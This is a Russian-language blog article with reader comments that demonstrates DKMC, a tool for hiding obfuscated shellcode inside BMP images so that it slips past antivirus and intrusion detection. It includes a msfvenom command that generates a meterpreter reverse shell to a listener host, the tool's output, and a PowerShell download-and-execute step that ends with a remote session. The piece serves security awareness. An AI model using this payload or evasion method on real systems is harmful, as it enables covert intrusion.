Может ли обычная картинка нести угрозу и стоит ли обращать внимание на факт загрузки изображений при разборе инцидентов информационной безопасности? На этот и другие вопросы мы ответим в данном тексте на примере работы инструмента DKMC (Don't Kill My Cat).
В чем суть?
Посмотрите на изображение ниже
Видите ли вы в нем что-то странное?
Я не вижу ничего необычного. Данное изображение загружено на сайт в формате jpeg, но его оригинал хранится в формате bmp. Если посмотреть на исходный bmp-файл в HEX-редакторе, то никаких бросающихся в глаза странностей мы тоже не увидим.
Однако это изображение содержит обфусцированный шеллкод по адресу 0x00200A04. В то же время мы не видим никаких странных пикселей на изображении. Дело в том, что в BMP заголовке высота изображения была искусственно уменьшена. В полном размере изображение выглядело бы так. Обратите внимание на правый верхний угол.
Высота оригинального изображения на 5 пикселей больше, чем вредоносного, но для человека это обычно не заметно.
Инъекция возможна из-за того, что байты, указывающие на тип файла, с которых и начинается файл, BM в ASCII, в шестнадцатеричном виде — 42 4D, при конвертации в инструкции ассемблера не приводят к ошибке выполнения, а дальнейшие 8 байт заголовка никак не влияют на интерпретацию изображения. Так что, можно заполнить эти 8 байт любыми инструкциями ассемблера, например записать в них jmp-инструкцию, которая укажет на шелл-код, хранимый в изображении, т.е. на 0x00200A04.
Далее нужно лишь как-то выполнить код, хранимый в изображении, вместо его просмотра в графическом виде.
Для этого может использоваться, например, набор PowerShell команд.
Все описанные мной действия уже автоматизированы и собраны воедино в инструменте DKMC, который мы рассмотрим ниже.
Это правда работает?
Инструмент доступен на GitHub и не требует установки. Там же, в репозитории, есть презентация, подробно описывающая принцип работы DKMC.
Запуск
python dkmc.py
Нам доступно несколько действий
Для начала нужно создать шеллкод. Для этого можно воспользоваться msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw > mycode
Будет сгенерирован бек-коннект шелл на хост 192.168.1.3, порт 4444, в бинарном виде.
Далее используется опция меню sc, чтобы преобразовать код в HEX формат для его использования вдальнейшем
Далее выбирается изображение в формате BMP для инъекции шеллкода при помощи команды gen
и получаем вывод
(generate)>>> run
[+] Image size is 1000 x 700
[+] Generating obfuscation key 0x14ae6c1d
[+] Shellcode size 0x14d (333) bytes
[+] Adding 3 bytes of padding
[+] Generating magic bytes 0x4d9d392d
[+] Final shellcode length is 0x19f (415) bytes
[+] New BMP header set to 0x424de9040a2000
[+] New height is 0xb7020000 (695)
[+] Successfully save the image. (/root/av_bypass/DKMC/output/prettycat.bmp)
Здесь сказано, что шелл-код был обфусцирован, указаны его итоговый размер, видоизмененный BMP заголовок с jump инструкцией и сказано, что высота сократилась с 700 пикселей до 695.
Далее при помощи команды ps можно сгенерировать powershell команду для загрузки данного изображения с веб-сервера и последующего его выполнения
и при помощи команды web можно тут же запустить веб-сервер для предоставления этого изображения
Я запущу сниффер Wireshark и посмотрю, что происходит в сети при запуске Powershell скрипта на стороне жертвы
Жертва инициирует обыкновенный HTTP запрос и получает картинку, а мы сессию метерпретера
Так как изображение нельзя запустить «нормальными» способами, то и средства защиты и технические специалисты могут «легкомысленно» относиться к его содержимому. Данный пример призывает внимательно относиться к настройке систем предотвращения вторжений, следить за новостями в мире информационной безопасности и быть на чеку.
Комментарии (14)
Arris
27.09.2017 02:02Окей.
BMP.
Какие еще форматы файлов, которые могут загружаться на сервер (пользователем), подвержены данной уязвимости?
И какие вы можете предложить средства предотвращения этой уязвимости?KVL01
27.09.2017 15:50Предотвратить элементарно – провести массовую конвертацию в другой формат, или в тот же, но убедиться, что выбранный конвертер действительно перезаписывает файл. Эти проги, как правило, пропускают части файла, которые им неизвестны, так что на выходе получите чистую картинку с правильным заголовком.
KVL01
27.09.2017 14:09Промазал, это был ответ для Arris
Возможно, TGA — схожая структура файла. Другое интересно — кто использует эти форматы для передачи по сети?
Выше уже указали на давно известный rarjpeg.
И вот ещё история была, но тоже маловероятно в виду «распространённости» формата.
Я бы использовал PNG — широко распростанён, и туда что угодно можно засунуть, хоть скомпиленный EXE, но сложнее. В гифку — тоже.antgorka Автор
27.09.2017 14:27Спасибо за ссылки по теме! Это правильно.
Многие вещи в мире информационной безопасности делаются не для того чтобы кому-то навредить, а с научной целью. Подобные тексты расширяют кругозор, предлагают алгоритмы поиска уязвимостей, вовлекают людей в Open Source разработку, учат чему-то новому.
Но Судя по плюсам к комментариям я могу судить, что большинство читателей ждут какие-то шаги раз, два, три, как проэксплуатировать конкретную систему, хотя ни название, ни пре-текст материала ничего подобного не обещают.
Надеюсь, что тем 22-м проголосовавшим "вверх" этот материал показался полезным и они нашли в нем что-то новое для себя, а всем кто голосует "вниз" предлагаю внести вклад в хаб по информационной безопасности, чтобы мы все узнали что-то новое.
tyomitch
27.09.2017 15:54+1Но Судя по плюсам к комментариям я могу судить, что большинство читателей ждут какие-то шаги раз, два, три, как проэксплуатировать конкретную систему, хотя ни название, ни пре-текст материала ничего подобного не обещают.
Первые слова вашего текста: «Может ли обычная картинка нести угрозу...».
После такого хотелось бы в статье прочитать про «угрозу в картинках», а вместо этого в ней про «угрозу в скрипте, позволяющем скачивать абы что, и запускать вытащенный оттуда код». И всё это обставлено так, как будто бы в формате BMP есть какая-то уязвимость.
Свой вклад в хаб по информационной безопасности я внёс неделю назад, вне корпоративного блога и на голом энтузиазме. На здоровье.
tyomitch
Ничего не понял.
Если злоумышленник имеет возможность выполнить PowerShell-команду на машине жертвы, то при помощи «шелл-кота» он… получит возможность выполнять код на машине жертвы?
Серьёзно? А для чего тогда «шелл-кот», если выполнять код на его машине можно и просто так?
antgorka Автор
Смысл в сокрытии. Шелл-код передается на машину жертвы в виде изображения и файл выглядят в точности как нормальное изображение. Нет ничего необычного в передаче изображения по сети и этот факт может привести к тому, что подобный трафик никак не инспектируется средствами защиты и картинка не будет проверяться антивирусным ПО, даже, если хранится на файловой системе. Антивирус не будет пытаться "запустить" картинку в песочнице, а если Вы передадите шелл-код в виде исполняемого файла, то антивирус может выполнить его в песочнице и заблокировать. То, что мы "запускаем" картинку через Powershell — это, считайте, Proof-of-Concept. Факт, есть, факт, что BMP изображение может являться и картинкой, и шелл-кодом одновременно. Смотря как на это смотреть. Надеюсь, я правильно понял Ваш вопрос и ответил на него корректно.
tyomitch
В чём специфика того, что это изображение? Точно так же шелл-код можно засунуть в середину
war_and_peace.txt
, даже никакие заголовки не придётся править.Так а схема атаки-то какая? Предполагается, что фаервол жертвы не разрешит скачать шелл-код в открытом виде, но разрешит скачать некий эксплойт, скачивающий «шелл-кота» и запускающий его?
Надо же, какая новость.
antgorka Автор
А то, что в середине war_and_piece.txt будет ассемблерный код Вас не смущает? Думаете, это никто не заметит? Так же ваш War and Piece должен начинаться с ассемблерных инструкций, которые не вызовут ошибку, так что "серединой книги" не обойдется. В примере выше картинка будет выглядеть точно так же, как и обычные "котики", но одновременно будет являться и шелл-кодом.
Схема атаки здесь не описывается. Здесь описывается способ передачи шелл-кода в виде, в котором он с высокой долей вероятности не будет обнаружен средствами защиты ни во время передачи по сети, ни после передачи.
То что запускает жертва в виде PowerShell скрипта не является эксплойтом и не несет в себе вредоносный код. Это скрипт для скачивания картинки из интернета и проведение с ней каких-то манипуляций. Так что в чем проблема передачи такого файла по сети?
Касательно Rarjpeg — здесь иной принцип работы, не имеющий отношения к принципу, по которому работает DKMC.
tyomitch
Фаервол — наверняка не заметит, раз «отрезанные пять пикселов» (т.е. заголовок, не соответствующий содержимому) у BMP-изображения не заметил.
Тот самый «скрипт-запускатель», который запускает payload начиная с первого байта, точно так же может его запускать и начиная с байта 0x00200A04.
Поздравляю с изобретением более сложного способа добиться в точности того же результата, которого можно добиться простым и широко известным.
onyxmaster
Потому что можно тихо пробраться мимо IDS (IPS, NGFW, называйте как хотите), которая не ждёт, что payload, для которого у него есть сигнатура, будет лежать в картинке.